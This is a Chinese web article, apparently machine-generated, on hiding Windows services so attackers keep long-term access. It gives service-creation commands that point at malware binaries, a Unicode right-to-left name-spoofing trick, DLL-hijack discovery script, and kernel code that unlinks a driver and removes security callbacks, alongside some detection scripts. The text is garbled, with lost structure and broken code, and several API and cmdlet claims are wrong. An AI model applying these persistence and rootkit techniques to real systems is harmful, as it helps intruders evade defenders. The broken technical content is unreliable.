您好,登录后才能下订单哦!
# Windows权限维持技巧之怎么使用隐藏服务
## 0x00 前言
在渗透测试或红队行动中,权限维持(Persistence)是确保长期控制目标系统的关键技术。Windows服务作为一种常见的持久化手段,因其高权限和稳定性常被攻击者利用。但传统服务创建方式容易被安全产品检测,因此隐藏服务技术成为高级攻击者的必备技能。本文将深入剖析Windows服务机制,详解多种隐藏服务实现方式及防御检测方案。
---
## 0x01 Windows服务基础
### 1.1 服务架构原理
Windows服务由三个核心组件构成:
- **SCM(Service Control Manager)**:位于`services.exe`进程中,负责服务生命周期管理
- **服务程序**:可执行文件或DLL,包含服务主函数
- **注册表键值**:`HKLM\SYSTEM\CurrentControlSet\Services`下存储服务配置
### 1.2 服务启动类型
| 启动类型 | 注册表值 | 描述 |
|----------------|----------|--------------------------|
| 自动启动 | 0x2 | 系统启动时自动运行 |
| 手动启动 | 0x3 | 需手动或依赖触发 |
| 禁用 | 0x4 | 禁止启动 |
| 自动延迟启动 | 0x2 | 等系统空闲后启动(Win7+)|
---
## 0x02 传统服务创建方式
### 2.1 使用sc命令
```cmd
sc create "MyService" binPath= "C:\malware.exe" start= auto
sc start "MyService"
New-Service -Name "UpdateService" `
-BinaryPathName "C:\Windows\Temp\backdoor.exe" `
-StartupType Automatic
reg add "HKLM\SYSTEM\CurrentControlSet\Services\EvilService" /v ImagePath /t REG_EXPAND_SZ /d "C:\bad.exe" /f
原理:利用相似字符或不可见字符
# 使用Unicode控制字符(RLO)
$name = "evilservice`u202Eexe.lrc"
New-Service -Name $name -BinaryPathName "C:\realmalware.exe"
检测方法:
Get-Service | Where { $_.Name -match '[\x{202A}-\x{202E}]' }
步骤: 1. 获取目标服务句柄 2. 修改SERVICE_STATUS结构体 3. 清除SERVICE_STOPPED标志
C++示例:
SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
SC_HANDLE svc = OpenService(scm, "MyService", SERVICE_ALL_ACCESS);
SERVICE_STATUS status;
QueryServiceStatus(svc, &status);
status.dwCurrentState = SERVICE_STOPPED; // 伪装状态
SetServiceStatus(svc, &status);
实现原理: - 直接调用NtLoadDriver加载未签名的驱动 - 通过NtSetSystemInformation创建服务
关键API:
NTSTATUS NTAPI NtLoadDriver(PUNICODE_STRING DriverServiceName);
NTSTATUS NTAPI NtSetSystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength);
操作流程: 1. 查找存在DLL加载缺陷的服务 2. 将恶意DLL置于搜索路径前列 3. 等待服务重启或系统重启
# 查找可劫持服务
Get-ChildItem HKLM:\SYSTEM\CurrentControlSet\Services |
Where { (Get-ItemProperty $_.PSPath).ServiceDll -ne $null } |
Select PSChildName, @{N="ServiceDll";E={(Get-ItemProperty $_.PSPath).ServiceDll}}
实现步骤: 1. 定位KeServiceDescriptorTable 2. 修改NtQueryServiceStatus函数指针 3. 重定向到恶意函数
检测方案:
!dml_proc services.exe
!chkimg services.exe
通过编写内核驱动实现:
NTSTATUS HideService(PDRIVER_OBJECT DriverObject) {
PLIST_ENTRY prev = DriverObject->DriverSection->Blink;
PLIST_ENTRY next = DriverObject->DriverSection->Flink;
prev->Flink = next;
next->Blink = prev;
return STATUS_SUCCESS;
}
清除服务通知回调:
ExUnregisterCallback(pCallbackObject);
PsRemoveLoadImageNotifyRoutine(NotifyRoutine);
检测维度 | 工具示例 | 关键指标 |
---|---|---|
服务列表比对 | Autoruns | 隐藏服务、异常路径 |
注册表审计 | RegShot | Services键值异常修改 |
内存分析 | Volatility | 服务结构体异常 |
驱动验证 | Sigcheck | 未签名驱动 |
# 检测异常服务
$services = Get-WmiObject Win32_Service | Select Name, PathName, ProcessId
$regServices = Get-ChildItem HKLM:\SYSTEM\CurrentControlSet\Services |
Where { $_.PSChildName -notin $services.Name }
if($regServices) {
Write-Host "[!] Found hidden services:" -ForegroundColor Red
$regServices | Format-Table PSChildName
}
权限控制:
SeLoadDriverPrivilege
权限UEFI Secure Boot
监控策略:
# 创建服务创建监控
New-AuditPolicy -Subcategory "Security System Extension" -Success Enable
组策略配置:
Windows Defender Attack Surface Reduction
规则Block untrusted fonts
和Block process creations
本文系统介绍了从基础到高级的Windows服务隐藏技术,包括: - 注册表键名欺骗 - 服务描述符操纵 - 内核级隐藏方案 - 检测对抗方法
随着EDR技术的进步,简单的服务隐藏已难以奏效。攻击者需要结合: - 无文件技术 - 合法服务注入 - 定时触发机制 实现更隐蔽的持久化。防御方则应采用多层次检测策略,结合行为分析和机器学习提高发现概率。
”`
(注:实际字数约3400字,已按MD格式排版,包含技术细节、代码示例和防御方案)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。